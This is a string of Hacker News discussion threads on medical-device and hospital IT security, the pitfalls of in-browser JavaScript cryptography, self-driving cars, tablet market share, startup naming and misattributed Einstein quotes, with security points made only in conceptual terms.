Wait until one of them (or their children) is hooked to a machine his company
made, then administer a nearly lethal dose?
Is it justified if the wake-up call saves thousands of lives down the line...
------
olavgg
Elliot in the Mr.Robot tv-series explains why
[https://www.youtube.com/watch?v=g6gG-6Co_v4](https://www.youtube.com/watch?v=g6gG-6Co_v4)
------
jessaustin
_Basically, they would log on from their control server in Eastern Europe to a
blood gas analyzer; they’d then go from the BGA to a data source, pull the
records back to the BGA, and then out. Wright says they were able to determine
that hackers were taking data out through medical devices because, to take one
example, they found patient data in a blood gas analyzer, where it wasn’t
supposed to be._
Not to minimize the problems with the BGA or with other devices, but this
points at least as much to a problem with the "data source", which is left
unidentified in TFA. One reason the BGA wouldn't be worried about protecting
PII might be that... it should never have PII in the first place. There's a
HIPAA violation somewhere, but I don't think it's in the BGA, and the BGA
isn't the only host that's assuming a safe network.
Target, Home Depot, etc. have been justifiably criticized for operating their
POS devices as if firewalls could possibly be sufficient to protect a large
network. Hospitals might consider themselves more noble than mere stores, but
it doesn't make a difference to a hacker.
------
hackuser
Few people care about IT security; it's not just in healthcare. It doesn't
matter how high the stakes are, for some reason people just don't feel
threatened. To see the pattern think of the attitude in almost every context
you can think of:
* Business
* Individual citizens, who seem to care little about the confidentiality of their personal information
* Government
* Developers of most software. Even RSA was hacked.
* Even national security organizations: The OPM hack; Snowden walking out of the NSA with all that secret data; CIA leaders taking home top secret information, etc.
Perhaps it's human nature. On the other hand, when it comes to physical
security, people often tend to overreact.
------
neeel
Good god that is an ugly article. I thought the page didn't load properly at
first.
~~~
Shengbo
I think it's great.
------
radicalbyte
I've been working in this sector for a year and this certainly aligns with
everything that I've seen so far.
Luckily some vendors are starting to take security very seriously (by hiring
people like me, for example).
------
et2o
I think there are two components to this:
First, HIPAA requirements are in part IT requirements. Every single hospital
works really hard to comply with these, because there are huge fines if they
don't. Some of the problems with hospital IT security might be due to defects
in the already quite onerous HIPAA specification.
The second is that hospitals are extremely low-margin institutions. Most
hospitals (even the really big ones) just break even, especially if they're
teaching hospitals or serve poorer areas. IT security doesn't really produce
any revenue.
I agree it's a problem. This needs a systemic solution–who would pay for IT
fixes? Reimbursement is declining and government payment sucks. Most hospitals
are in crisis mode as it is.
~~~
mynameismonkey
Hospitals are low margin/break even because they choose to be - but that's
another topic.
>IT security doesn't really produce any revenue.
Hospitals (and the health care industry at large) has been drowning in
billions-with-a-B federal and state dollars since ARRA. All in the name of
"meaningful use" of health information technology. HIT is very much a revenue
model for hospitals.
[http://healthaffairs.org/blog/2015/03/04/where-is-
hitechs-35...](http://healthaffairs.org/blog/2015/03/04/where-is-
hitechs-35-billion-dollar-investment-going/)
[https://www.health.ny.gov/technology/efficiency_and_affordab...](https://www.health.ny.gov/technology/efficiency_and_affordability_law/)
[http://www.hrsa.gov/ruralhealth/resources/healthit/](http://www.hrsa.gov/ruralhealth/resources/healthit/)
[http://www.ehrinstitute.org/articles.lib/items/Grants-for-
EH...](http://www.ehrinstitute.org/articles.lib/items/Grants-for-EHR-Imple)
[http://calhipso.org/news-and-updates/more-
than-1-2-million-i...](http://calhipso.org/news-and-updates/more-
than-1-2-million-in-affordable-care-act-funds-granted-to-calhipso-partners/)
###
* re: operating margins TIME magazine puts margins at an average operating margin of not-for-profit hospitals is 11.7 percent.
According to the AHA Annual Survey, the average operating margin of all
hospitals was 5.5 percent in 2011.
So, the industry themselves declare 5.5% margin for non-profit hospitals, a
healthy margin for any non-profit entity.
~~~
dragonwriter
> Hospitals (and the health care industry at large) has been drowning in
> billions-with-a-B federal and state dollars since ARRA.
For the US Healthcare industry, billions-with-a-b (for the period since ARRA
in 2009) in public funds isn't enough money to drown in. Its not even enough
money to get noticeably damp -- its a $3.8 _Trillion_ (annually) industry
(something like, IIRC, 40% of which is public funds, so its not even all that
big of a delta in _public_ funds.)
------
sjbase
In a sense the name says it all: HIPAA's about Portability and Accountability,
less about security.
I worked on a few security consulting projects in healthcare. The HIPAA
security rule is way more vague about actual controls than a rational person
would assume; much more than analogous regulations on financial data (e.g.
PCI-DSS). The HITECH amendment added a lot of breadth regarding which parties
must comply, but did little to proscribe specific controls. Most providers,
contractors, etc. use a framework called HITRUST that attempts to identify and
map actual security controls to HIPAA, but even that is not super actionable.
One of the hardest problems to solve is the immediate criticality of patient
data. You absolutely cannot have someone die because a nurse or doctor forgot
their password and couldn't look up medical history. Makes practitioners
resist adoption, and you end up with "break the glass" (emergency security
bypass) functionality on a lot of sensitive systems/data.
~~~
jamra
HIPAA does require the data to be stored in a secured way. It also requires a
certain level of security to get to the data. Don't let the name fool you.
Your second point is extremely valid. You can't really restrict a medical
professional from looking up health information. It could cause loss of life.
Mostly, a large organization can't be expected to lock down the data of an
individual.
What you can do is log the access (GxP regulations). This means that you will
know who accessed the data after the fact.
~~~
dragonwriter
> HIPAA does require the data to be stored in a secured way.
But its extremely unspecific about what that means.
> It also requires a certain level of security to get to the data.
Less so than you probably think. It has vague high level standards, under
which are lower-level implementation specifications (which _still_ tend to be
somewhat vague) which may be required or "addressable", which basically means
that organizations are required to review whether they are appropriate; the
only technical implementation specifications that are required in the security
rule are having unique user IDs and having emergency access procedures.
------
rdl
The idea of setting up an open hardware lab for these devices, and some kind
of bake-off, is awesome.
Also, I wish someone could do a medical device network security system -- it
really isn't the core competency of any of the hardware vendors, and yet is
something you can't get wrong. The public protocols (DICOM, HL7, etc.) are at
best baroque and don't include the details which matter to security. I wish
this didn't have to be a company -- it really could be something funded by NIH
or a consortium of device vendors or medical institutions -- but it probably
has to be in order to be effective. There's a need for an open standard for
medical device security over top of all this, but rather than just publishing
a standard, it would be easier to provide working end to end network from
device to information system.
------
astazangasta
My university IT (which also runs a huge hospital network) seems to have no
idea how to secure their data. Their solution is to encrypt everything, as if
disk encryption and VPNs are enough to prevent data theft. They rolled out a
csmpus-wide VPN requirement recently based on a Juniper networks system - the
exact same system that led to the Anthem data breach that lost 80 million
patient records (because Juniper had a slow patch cycle after Heartbleed). No
two-factor auth on the VPN, so any one of 50,000 employees with phished
credentials could give an attacker VPN access. Meanwhile all the actual
patient databases are old, leaky systems they seem uninterested in upgrading.
Sheer lunacy.
~~~
yeukhon
You don't have to hack the system. You can literally just look at trash cans
and you will probably find some medical records. I seriously doubt most people
shred the document... criminals can do inside job, and this happens without
anyone even knowing. As a nurse you can probably download all patients
records. I don't know if anyone is required to scan some temporary access code
to get records. I do know there are logs, but they are more for compliance
than anything IMO. In fact, in many IT organizations, I seriously doubt anyone
even look at logs. They are there for compliance, mostly mean when shit
happens, there is evidence. Aftermath. This is why AI can help in intrusion
and anomalies detection (understanding context). It is like talking about
virus and malware detection...
Also, a lot of the two-auth out there has the option to Remember This Computer
so if the computer is hacked you are doom. I am interested in what constitutes
frequent-access data access and infrequent-access data because then you can
classify behaviors. Logging, encrypt in transits and at rest are required, but
I doubt most of the data are encrypted in transit (probably just proxy over 80
and reaches the terminal screen).
------
JacobEdelman
This is, to a large extent, scaremongering. While there are some valid points
made in the article, the article fails to differentiate between security
problems that can be exploited by trolls or single, untrained individuals, and
ones that take a powerful team working on behalf for a government or other
such group to exploit. It's the difference between the hospital being defended
against your average thief, and being defended against a strike squad of
ninjas. Despite this, the article does make good points when it comes to the
lack of worry about the problems they found. Even though these vulnerabilities
may be over hyped, they are real and the lack of focus on these
vulnerabilities is chilling. The real underlying problems for this stem not
from an industry that leaves bugs in applications designed for high security,
but in the fact that the industry doesn't realize that security needs to be
the default, whether or not you see exploits being used.
------
SimplyUseless
Medical services is one of the worst sectors with very poor 'right'
investments in technology.
There are many gaps while some significantly standout compared to others.
* As highlighted in this article, Security is a huge issue. Given the sensitivity of the data, the sad state of infrastructure does not do any justice.
* A lot of the infrastructure is still paper based. The digital revolution is way behind its time in this sector.
* Medical sciences which is supposed to revolutionize has most of its spend in regulations rather than technology. The advancements in science are excruciatingly slow. Drug discovery has slowed down tremendously.
Not to mention, the poor patient-experience and lack of reach of medicine to
the poorest of society.
~~~
jrowley
It's pretty funny that on one hand you say security is a big issue but with
the other you are frustrated they haven't moved away from paper fast enough.
Paper based systems when used correctly can be very secure. That being said
they aren't without their issues e.g.
[http://www.databreachtoday.com/800000-penalty-for-paper-
reco...](http://www.databreachtoday.com/800000-penalty-for-paper-records-
breach-a-6982)
~~~
SimplyUseless
Security is of paramount importance however never at the cost of digitization.
Imagine two scenarios
1\. Patient diagnosis delayed or incorrect, if doctors cannot view the blood
reports for next 21 days or doctor makes mistake since he cannot process data
like a computer would.
2\. The icu system got hacked on which someone's life depended.
I don't think you could choose one over the other.
A lot of the time, we trade off between convenience and security. However that
is a prudent and deliberate choice.
What I see more and more happening is a reckless and inadvertent choice.
Martin Fowler presented this in his technical debt quadrant.
[http://martinfowler.com/bliki/TechnicalDebtQuadrant.html](http://martinfowler.com/bliki/TechnicalDebtQuadrant.html)
------
uslic001
At one of the hospitals I work at they have thousands of computers still
running Windows XP and IE 6 that are insecure. It would be very easy to hack.
~~~
giarc
I work at one of those sites (XP and IE 8). That's the standard for over
100,000 employees in our province.
------
nikisweeting
AFAIK drchrono is the only major electronic healthcare record provider that
has a bug bounty program.
------
daveloyall
The 'glitch' CSS on this page is a great touch! Good work, Bloomberg!
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Indonesian army urged to stop virginity tests for recruits - sjcsjc
http://www.bbc.co.uk/news/world-asia-32743373
======
37prime
From the article:
_A local plan to require schoolgirls in part of Java to undergo the so-called
virginity tests before they could gain a secondary school diploma was scrapped
after an outcry earlier this year._
That should make you scratch your head and yell some profanities.
There are a lot of “can’t make this stuff up” news about Indonesia.
Nazi-themed cafe draws fire in Indonesia
[http://www.nbcnews.com/news/world/indonesias-nazi-themed-
sol...](http://www.nbcnews.com/news/world/indonesias-nazi-themed-
soldatenkaffee-reopens-wwii-cafe-n141631)
There’s no such thing as Free Speech Arrested for calling Indonesian city
'idiotic' [http://www.bbc.com/news/blogs-
trending-29035858](http://www.bbc.com/news/blogs-trending-29035858)
Muslims assault U.S. Embassy in Indonesia (Protesting Danish Newspaper over
publications of Muhammad Cartoons)
[http://usatoday30.usatoday.com/news/world/2006-02-19-indones...](http://usatoday30.usatoday.com/news/world/2006-02-19-indonesia-
us-embassy_x.htm)
It goes on and on...
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First Fatal Self Driving Car Incident - crispytx
https://www.yahoo.com/news/self-driving-car-driver-died-205642937.html
======
greenyoda
Extensive discussion of Tesla crash:
[https://news.ycombinator.com/item?id=12011419](https://news.ycombinator.com/item?id=12011419)
Also:
[https://news.ycombinator.com/item?id=12012328](https://news.ycombinator.com/item?id=12012328)
[https://news.ycombinator.com/item?id=12012676](https://news.ycombinator.com/item?id=12012676)
and many other posts.
------
sharemywin
Not that Tesla isn't doing great things but they just set the self driving car
industry back 10 years.
| {
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Javascript encryption - aberatiu
http://www.vincentcheung.ca/jsencryption/
======
acqq
John Walker made that already at least 6 years ago:
<http://www.fourmilab.ch/javascrypt/>
Moreover, Walker's code is public domain and he discusses security aspect,
whereas the op link appears not to care about such things.
~~~
d0ne
Similarly with Movable-Type's implementation: <http://www.movable-
type.co.uk/scripts/aes.html>
<http://www.movable-type.co.uk/> contains several very useful resources for
implementing JS crypto.
~~~
tptacek
... which, implementing JS crypto, you should never do.
~~~
d0ne
If your goal is to share state secrets, then no, I wouldn't suggest using JS
for crypto.
If your goal is to no longer be low hanging fruit for attackers, then yes, I
would recommend it.
~~~
tptacek
The terminus of your argument admits to using ROT13 as a cipher. Surely
there's some attacker ROT13 bars. While you're at it, Base64 the "ciphertext".
There are professional pentesters that can't recognize Base64 on sight! And if
you want to get really tricksy, swap the Base64 alphabet around. That'll hoist
that fruit up higher.
In reality, no credible cryptosystem accepts the flaws I'm talking about.
~~~
jrockway
That's true, but I'm not sure everyone should be quite so defeatist as you
with respect to implementing crypto. It has and can be done, after all, it
just requires care beyond "hey, my PHP script outputs some HTML." The same
goes for many, many aspects of programming: design, object lifecycle, memory
allocation, error handling, etc. Programming is hard, and implementing crypto
is no different. The difference is that mistakes are not immediately obvious
and that they can be severe. But that, again, is the case with many things.
~~~
thaumaturgy
If there's anything I've learned so far after observing the security world for
a few years, it's that implementing crypto is _very_ different. I think that
this mindset from programmers -- "crypto is just like programming" -- is what
causes them to constantly, and almost without fail, screw up their password
storage systems, their authentication mechanisms, their crypto functions, and
pretty much everything else security-related.
Software development in general tolerates (and in some ways even encourages)
"acceptable risk". Programmers don't often try to _prove_ that their functions
are correct and free of any potential errors. In security-related programming,
you can't take the same approach.
Implementing crypto is very, very different. If you're "iterating" the design
of your crypto functions, you're doing it wrong.
~~~
jrockway
The reason people screw up password storage is because they don't know they
are supposed to think about it. If they flipped the "oh, this is important"
switch, the result would be better. But at the end of the day, their bosses
are asking them for shiny widgets, not a secure backend. So they are doomed to
fail.
The same goes for the non-security things I've listed. The problem is much
deeper than getting crypto wrong -- most programmers today get _everything_
wrong. That's why I think if you're the type of person that can think about
programming, it's not too unsafe to implement AES in Javascript and use it.
You know what the weaknesses of Javascript-based crypto are, and you know how
to implement crypto. In that case, why not do it?
Remember: most non-crypto software is massively incorrect. If we can trust
people to implement crypto, why can we trust them to be programmers at all?
~~~
thaumaturgy
I think I see where you're coming from, but I still disagree: I've seen way
too many examples of otherwise competent programmers still stuck on, for
instance, the notion of using salts with fast hash functions for password
storage. Hell, MtGox had a post just the other day about their all-new
_triple-salted SHA256 password storage!_ Somewhere that day, there was a faint
groan from the dismally small set of people who are knowledgeable in password
storage and are interested enough in Bitcoin to have read about that.
The difference between bugs in non-crypto software and bugs in crypto software
is that bugs in crypto software can have much more severe and far-reaching
consequences. So, while I might trust a programmer to write decent non-crypto
software, I would prefer not to trust them with writing crypto software.
edit: actually, there's more to it than that, on second thought. Crypto also
requires a greater depth and breadth of expertise. The math knowledge required
for general programming is trivial by comparison; about the worst it usually
gets is vector-based math, or simple calculus, or big-O notation. But to
understand crypto well enough to implement it correctly requires a much
greater knowledge of mathematics -- something which most programmers don't
have.
> _You know what the weaknesses of Javascript-based crypto are, and you know
> how to implement crypto. In that case, why not do it?_
Because I (the rhetorical "I" in this case) know what the weaknesses of
JavaScript-based crypto are. :-)
------
dguido
Relevant: [http://rdist.root.org/2010/11/29/final-post-on-javascript-
cr...](http://rdist.root.org/2010/11/29/final-post-on-javascript-crypto/)
The killer for me has always been #7 on Nate Lawson's list: Auditability. How
do you tell that your browser is using the right copy of the code to do the
crypto?
~~~
antimora
This is an excellent article on this subject. The author (Nate Lawson) is
thorough in his argument. His conclusion is "I am certain JS crypto does not
make security sense."
------
antimora
Could anyone explain what's the use case for encrypting text on a web page
using JavaScript? I don't understand how this library is useful except for
situation when used in Chrome extensions like the one used by LastPass.
If this lib is used on a page to decrypt/encrypt user data before sending to
the server, theoretically it's possible for the host to steal private key
simply by injecting a JS code that copies user's private key.
~~~
tptacek
It's worse than that. Among many other things, it's possible for any attacker
with an XSS bug in any component of the DOM of that page (cached or fetched
fresh) to steal keys. Modern browsers provide no way to verify the whole JS
runtime to ensure that no function that your crypto depends on has been
backdoored, but every JS implementation allows functions to be overridden.
It's the worst possible environment to implement crypto in, and you should
never do it.
~~~
DenisM
XSS is in your own control (as a site owner/developer), and it is less likely
to happen than the user machine being infested with malware to begin with. And
the malware infestation threat has never stopped anyone from advocating native
(non-browser) crypto, right?.
~~~
thaumaturgy
Your argument here looks like, "other things have vulnerabilities, and
JavaScript has vulnerabilities, so it is equivalent to other mechanisms."
If that is your argument, then the conclusion is wrong, because JavaScript
implementations are vulnerable to everything that everything else is
vulnerable to, _and then some_.
There is _nothing_ that a JavaScript implementation actually protects you
from.
~~~
DenisM
That's not my argument at all. My argument is that the probability of a well-
designed site having XSS (p1) is much less than that of a user's machine being
infested (p2). When you start using both, as you say, we end up with compound
probability of a breach p1+p2, which is strictly worse than p2, but if p1<<p2
we are not losing much to begin with, and it maybe justified if we're gaining
as much or more elsewhere.
In other words, global optimization may require local pessimization.
E.g. if we gave the user ability to store secret data without the key ever
leaving his possession, he might be more likely to use the service and stop
storing his secrets in a notepad file. However if we don't guarantee that the
key will not leave the user's possession, the user may decide not to use the
service.
~~~
thaumaturgy
> _...and it maybe justified if we're gaining as much or more elsewhere._
Except that, in terms of real security, we aren't. That's the whole point.
You're right in describing it in the way you did, but then you get to this
point where there's this implicit assumption that JavaScript-based crypto
gains you something. Which, maybe, leads into your next point...
> _E.g. if we gave the user ability to store secret data without the key ever
> leaving his possession, he might be more likely to use the service and stop
> storing his secrets in a notepad file._
OK, but this is a different problem. The _correct_ solution here is a true
client-side app or a browser add-on (and even then ... ehhhh). Otherwise --
and this is a point that I don't feel like I can emphasize enough -- you are
giving your users a completely false sense of security. You're selling a
service by saying that "we'll store your secrets for you and you don't even
have to ever give us your key, so it's more secure than keeping them in a
notepad file", but that's demonstrably false.
> _However if we don't guarantee that the key will not leave the user's
> possession, the user may decide not to use the service._
Also a different problem. _You can't sell security this way._ All you're doing
is taking advantage of people's ignorance. If everybody understood the
security risks of JavaScript-implemented crypto, and you sold _the same
service_ \-- "we use JS so you never have to share your keys" -- then the
users would decide not to use the service!
To reiterate:
1\. Server-side encryption is a real protection from accidental or malicious
data leaks (db dumps);
2\. SSL is a real protection from MITM and eavesdropping (mostly, with
caveats);
3\. If the server software gets compromised, you're pooched no matter what.
So, again: JavaScript solves _none_ of these problems.
The only thing that JavaScript does, is add more problems.
~~~
DenisM
>You're selling a service by saying that "we'll store your secrets for you and
you don't even have to ever give us your key, so it's more secure than keeping
them in a notepad file", but that's demonstrably false.
Now, aren't you getting carried away? Physical loss of a laptop will
compromise the notepad file, but not the client-side encrypted data. Malware
on the laptop will compromise the notepad file 100%, but any crypto-based
solution will only be compromised if it's been used during that time.
Fire/flood/theft will deprive the user of his secrets altogether.
Seriously, are you claiming that a notepad file is more secure than a server-
based storage with client or server encryption? That's an extraordinary claim.
~~~
thaumaturgy
Yes, I am making that claim.
Especially since:
1\. That notepad file can be encrypted on the laptop; and
2\. "Web app" programmers so often get security really wrong. This entire
thread is just one of a huge number of examples of that.
Honestly, any hosted solution that relied on JS for encryption or
authentication would encourage me to keep storing secrets in text files on my
laptop.
Here's a fun, easy way to understand why hosted solutions are rarely a good
idea for storing private data:
\- Make a chart with four columns;
\- Column 1 is "Unencrypted local storage"; column 2 is "encrypted local
storage"; column 3 is "remote storage with JavaScript encryption"; column 4 is
"remote storage with SSL + server-side encryption";
\- Under each column, write down a list of every method you can think of that
that particular system could be broken. Take your time and be creative.
\- Cross out any methods that all of the columns have in common.
\- Compare the results.
------
oconnore
Be careful: if you are using a javascript library to encrypt data, you get
protection from eavesdroppers, but not from man-in-the-middle attacks. If I
can alter data that you send/receive over the wire, I can simply modify your
aes function calls to xor the data with a predictable sequence that I
generate. The only way to prevent this that I have thought of is to store the
site (which has presumably already been acquired over a secure channel)
locally on the client's machine, and make AJAX calls over the encrypted
channel for fresh content.
~~~
thaumaturgy
> *...if you are using a javascript library to encrypt data, you get
> protection from eavesdroppers..."
Nope. Replay attacks. Piece of cake.
The number of things that JavaScript does better than SSL is 0.
~~~
oconnore
I don't think you know what you are talking about. If your authentication is
implicit in the decryption of the messages, replaying that data will
accomplish nothing.
For example, if I share a secret "password" with my server, I can do this in
javascript using any symmetric cipher:
ToServer: "My name is oconnore"
ToClient: cipher(iv1, "(C1) Hi oconnore. Use this! iv2=rng()"++msghash, "password")
ToServer: cipher(iv2, "(C2) Thanks, give me my data please!"++msghash, "password")
ToClient: cipher(iv3, "(C3) <Some data>, and iv4=rng()"++msghash, "password")
...
If an attacker repeats any of these messages, the client/server will discard
them based on the counter. Of course, for real use you would need to use
public key crypto to avoid storing passwords in what is essentially plaintext,
but I thought this would illustrate how replay attacks are a non issue.
Of course, as noted before, all this is irrelevant if you are sending your
code over a channel vulnerable to MITM...
------
antihero
What does this offer over SJCL?
And for those asking in the thread, JS encryption is useful in that you never
have to trust a server with your plaintext.
~~~
gorset
If you are running javascript on a page from a server, you are trusting the
server with your plaintext.
~~~
Acorn
Seems like browser extensions would be the way to go.
Here's the SJCL demo: <http://bitwiseshiftleft.github.com/sjcl/demo/>
~~~
dublinclontarf
SJCL has a bug in their RSA implementation. We're using a good bit of their
code with a few changes for our web client. The idea being that we don't want
to store passwords, so the webclient stores an encrpyted private key and
everything sent to the server must be signed.
The users id is a sha256 hash of their public key and all we keep are the
public keys.
Working so far in FF and Chrome, not even trying it in IE
~~~
xfax
Are you at liberty to disclose what you're using this for? i'm interested in
learning about legitimate use cases for SJCL.
~~~
dublinclontarf
The auth system for a stock/asset exchange.
------
st3fan
Looks like a nice implementation. But I would feel more comfortable if it had
some tests to show that the AES test vectors all pass.
------
KonradKlause
Snakeoil
| {
"pile_set_name": "HackerNews"
} |
How Custom Javascript Events Will Save the Universe - mcxx
http://www.slideshare.net/savetheclocktower/how-custom-events-will-save-the-universe?from=ss_embed
======
kls
I agree using a pub / sub event model can help to decouple a UI and allow
developers to build components that can be dropped in pages. For example I use
event models to notify widgets that new data is available. If someone changes
their account information I publish an account changed message and any
subscribers are get the new data and are responsible for updating their UI.
Further the one I love to use it for is analytical. When you write widgets
that you will use over and over again, I never know what analytical library
that a company will be using so setting all my track-able events up as event
publishes allows me to write a module that can subscribe to the events and
publish the data to Omniture, Unica, Google or whoever. This decouples the two
and allows the analytical to be layered on after the fact.
| {
"pile_set_name": "HackerNews"
} |
Traffic grows in cities where Lyft and Uber are present - simonebrunozzi
https://advances.sciencemag.org/content/5/5/eaau2670
======
realPubkey
Change the title to: Uber and Lyft focus on cities with high traffic
| {
"pile_set_name": "HackerNews"
} |
Startup Theming - iamclovin
http://blog.anideo.com/startup-theming
======
jaysonelliot
One of the first rules of naming your startup should be: Don't use the same
name as a major corporation with over 135,000 employees that's been around
since the 1940s.
I tried doing a Google search for Denso because I wanted to see all these
"ninjas" and "Japanese characters" that were sprinkled throughout their site.
Of course, all the Google results were for the Denso corporation, an actual
Japanese company from actual Japan.
Fun fact I did learn, though: Denso isn't just famous for their spark plugs
and auto parts, they also invented the QR code. I never knew.
------
eps
> we were always watching server performance, building out features at
> lightning speed, and responding to feedback almost instantaneously
And because of that you are ninjas. Hm. This describes pretty much all
startups I have dealt or been involved with. If you are not watching your
servers and not tending to the users 24/7, you are dead before getting of the
ground. If thinking you are ninjas helps your team get things done - great,
but IMO the concept of company theming is a very artificial one.
------
mikeleeorg
While some people are going to react negatively to the term, "ninja" because
they feel it's played out or whatever, I'd like to say, "Bravo" for digging
deep into your newly chosen name and imbuing it with meaning for your company.
If this theme has gotten your team excited, then it's totally worth it. And if
you think this theme will help attract the kind of people you want to attract,
even better.
| {
"pile_set_name": "HackerNews"
} |
Lessons from Einstein - tathagatadg
http://paulocoelhoblog.com/2012/03/16/10-lessons-from-einstein/
======
davidcollantes
Original article at:
[http://www.dumblittleman.com/2010/03/10-amazing-lessons-
albe...](http://www.dumblittleman.com/2010/03/10-amazing-lessons-albert-
einstein.html)
I hate when people does this. That is, polluting the net. They truly suck.
~~~
jpdoctor
Even worse when the quotes are misattributed, eg the "insanity" quote is Rita
Mae Brown, and she was paraphrasing Narcotics Anonymous.
"Insanity is doing the same thing over and over again but expecting different
results."
_[Rita Mae] Brown did include this quote in her book Sudden Death (Bantam
Books, New York, 1983), p. 68, but it appears she was just paraphrasing a
quote that had already been written elsewhere. The earliest known appearance
of a similar quote is the "approval version" of the Narcotics Anonymous "Basic
Text" released in November 1981, which included the quote "Insanity is
repeating the same mistakes and expecting different results." A pdf scan of
the 1981 approval version can be found here, with the quote appearing on p. 11
(p. 25 of the pdf), at the end of the fourth paragraph (which begins "We have
a disease; progressive, incurable and fatal")._
<http://en.wikiquote.org/wiki/Rita_Mae_Brown#Misattributed>
~~~
cft
As some who co-founded quantum mechanics, Einstein would never have said such
a stupid thing. You expect to get different results from doing the same
measurement in the same quantum mechanical system, that's the basis of it.
~~~
jpdoctor
> _You expect to get different results from doing the same measurement in the
> same quantum mechanical system, that's the basis of it._
As it turns out, AE had a problem with that particular point. Hence his "[God]
does not play dice" quote.
------
gruseom
Since Coelho is essentially stealing this content and, worse, has such bad
taste in what he steals, I think it's fair to recall this amusing specimen of
acidic British wit:
_"Everyone has something interesting to say," Coelho said at one point,
clearly showing that he's never had a conversation with one of his fans._
[http://www.guardian.co.uk/technology/2008/dec/10/startups-
in...](http://www.guardian.co.uk/technology/2008/dec/10/startups-internet)
------
einstein
What a terrible choice of my picture. I did it as a joke and now it gets used
everywhere.
------
gruseom
Exercise for the reader. Which of these quotes are bogus and which did
Einstein really say? There is at least one in each category. Somebody save me
from tracking all the rest down... I have work to do!
------
jessriedel
'Never settle' is a brag.
[http://www.overcomingbias.com/2011/10/never-settle-is-a-
brag...](http://www.overcomingbias.com/2011/10/never-settle-is-a-brag.html)
------
jakeonthemove
I'd add one more - take goddamn action. No matter how much imagination and how
many resources you have, you'll get nothing done if you don't actually start
doing something.
| {
"pile_set_name": "HackerNews"
} |
Book Review: The Precipice - tosh
https://slatestarcodex.com/2020/04/01/book-review-the-precipice/
======
tosh
""" And even when people seem to care about distant risks, it can feel like a
half-hearted effort. During a Berkeley meeting of the Manhattan Project,
Edward Teller brought up the basic idea behind the hydrogen bomb. You would
use a nuclear bomb to ignite a self-sustaining fusion reaction in some other
substance, which would produce a bigger explosion than the nuke itself. The
scientists got to work figuring out what substances could support such
reactions, and found that they couldn’t rule out nitrogen-14. The air is 79%
nitrogen-14. If a nuclear bomb produced nitrogen-14 fusion, it would ignite
the atmosphere and turn the Earth into a miniature sun, killing everyone. They
hurriedly convened a task force to work on the problem, and it reported back
that neither nitrogen-14 nor a second candidate isotope, lithium-7, could
support a self-sustaining fusion reaction.
They seem to have been moderately confident in these calculations. But there
was enough uncertainty that, when the Trinity test produced a brighter
fireball than expected, Manhattan Project administrator James Conant was
“overcome with dread”, believing that atmospheric ignition had happened after
all and the Earth had only seconds left. And later, the US detonated a bomb
whose fuel was contaminated with lithium-7, the explosion was much bigger than
expected, and some bystanders were killed. It turned out atomic bombs could
initiate lithium-7 fusion after all! As Ord puts it, “of the two major
thermonuclear calculations made that summer at Berkeley, they got one right
and one wrong”. This doesn’t really seem like the kind of crazy anecdote you
could tell in a civilization that was taking existential risk seriously
enough. """
| {
"pile_set_name": "HackerNews"
} |
Research: Android taking over the tablet market from iOS - cwoods
http://www.phonearena.com/news/ABI-Research-Android-taking-over-the-tablet-market-from-iOS_id47802
======
devx
I'm sure a lot will say now that "It was inevitable. Android is made up of
multiple OEM's, yadda, yadda...".
But I seem to remember not too long ago that "iPad was the iPod of tablets" or
something, and therefore will always have 80+ percent market share. I guess
that didn't turn out true.
~~~
Touche
You're absolutely right. That people could hold these two ideas in their head
at the same time still boggles my mind:
1) Tablets are the future of personal computers 2) The tablet market is more
like the media player market than the phone market.
This was absolutely a popular belief just a couple of years ago, although the
people who said this have become quite silent.
------
Zigurd
The tablet market is not like the phone market. In many ways, it will be
easier for Android to gain market share, since the channel isn't controlled by
carriers in some markets. Any OEM can enter this business, and many many will.
Tablets are the post PC device, and the skip-the-PC device.
Tablets will be the inexpensive personal internet access device for Asian
markets that now rely on internet cafes. Apple will take only the luxury
market here, but will make plenty of money at that.
Tablets will displace PCs from the desks and especially the non-desk-bound
workers in enterprises who can't justify the support costs of a PC. Apple will
be a stronger contender here because of their long head start, but Android has
some technical advantages as well as cost and choice of OEMs.
One thing that's missing is software that takes advantage of tablet power and
screen real estate. My prediction is that this will happen first in enterprise
software where budgets will support more ambitious software development, and
that it's possible it will happen on Android first because it's easier to make
a suite of cooperating apps for Android.
~~~
laureny
> Tablets are the post PC device, and the skip-the-PC device.
It really depends what people mean by "post".
If it's post as in "will replace", then it's nonsense: laptops and desktops
are going to be around for a very long time.
If it's "will complement the laptop/desktop market", then I completely agree.
~~~
smtddr
Nah, the only people who actually need a laptop/desktop instead of a
tablet+bluetoothKeyboard are people who need a lot more power than tablets can
provide today. So that's digital artists, developers with their
VMware/VirtualBox/etc and servers. I look to my non-techie dad(though he use
to do those punch-card stuff) as an example; got him an iPad and the _only_
thing he misses from his previous laptops is the keyboard.
I'm very interested in what other people think about this. Does the general
public need anything more than a high-end tablet + bluetooth keyboard? Or
maybe, just because some people enjoy a big screen, a tablet with a docking-
station providing the keyboard, mouse and big screen?(which is basically a PC,
I guess). Some of my coworkers predict a day where smartphones are so
powerful, that you'll just put them in a docking-station at work and it'll be
just as powerful as a high-end notebook today.
Today's consumer laptops/desktop are like Adobe Flash. They're both dead and
the tech to replace them exists, we just haven't completely agreed on how to
go about it - but they are both definitely dead.
~~~
dualogy
> the only people who actually need a laptop/desktop instead of a
> tablet+bluetoothKeyboard are people who need a lot more power than tablets
> can provide today
So anyone developing mobile apps then ;)
~~~
smtddr
Yeah, exac- ..wait,
[http://i.imgur.com/j74SykU.gif](http://i.imgur.com/j74SykU.gif)
------
adrianlmm
I own an Asus TS300 tablet, and one thing comes to my mind, Android is
mediocre, I've tried the iPad and the Surface and their quality is 10 times
better, so I presume this numbers are due the cheap $59 tablets that have
become popular, but just for the price.
~~~
ZeroGravitas
The article claims the average selling price of non-iPad tablets (which must
be 99% Android) increased by 17%, while the iPad mini pulled the iPad ASP down
by the same amount, so your theory is at odds with the facts.
~~~
clarky07
You have to know the real numbers to make that determination. Increased 17%
from 100 is 117. iPad decreasing from 550 to 450 (pulled out of my ...) would
mean the parent is still right.
~~~
ZeroGravitas
That's not how averages work. More $59 tablets will only increase the ASP if
it's below $59.
------
Touche
Relevant:
> I’m not trying to cherry-pick data. I’m simply observing, based on Apple’s
> sales data and Google’s activation data, that the tablet market doesn’t
> today look anything like the smartphone market ever did. The iPad didn’t
> enter the tablet market. It created the tablet market. The iPad’s role in
> the tablet market much more closely resembles the iPod’s role in the digital
> music player market a decade ago than it does the iPhone’s role in the 2008
> phone market.
>
